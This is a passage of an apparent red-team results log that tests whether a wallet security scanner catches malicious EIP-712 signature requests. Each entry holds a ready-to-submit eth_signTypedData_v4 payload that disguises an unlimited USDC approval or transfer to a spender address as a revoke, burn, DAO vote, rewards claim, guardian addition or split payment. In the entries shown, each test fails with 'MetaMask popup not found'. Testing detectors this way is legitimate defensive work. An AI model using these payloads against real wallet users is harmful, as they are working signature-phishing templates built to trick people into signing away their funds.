Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xe9228db85d159c498342422fe882ab6f5adf0f6d55ca232f3e603f6185898ec8\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN36-EIP3009-054", "timestamp": "2026-01-31T17:53:19.827Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x28b4e37a5c8947d5e29598b34ec9625bc7f18706e4dd12081915c83ffc431f61\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T17:53:29.379Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T17:53:38.928Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T17:53:48.471Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T17:53:58.022Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T17:54:07.564Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T17:54:17.100Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T17:54:26.654Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T17:54:36.192Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T17:54:45.728Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T17:54:55.261Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T17:55:04.810Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T17:55:14.373Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T17:55:23.930Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T17:55:33.478Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T17:55:43.035Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T17:55:52.594Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T17:56:02.144Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T17:56:11.696Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token 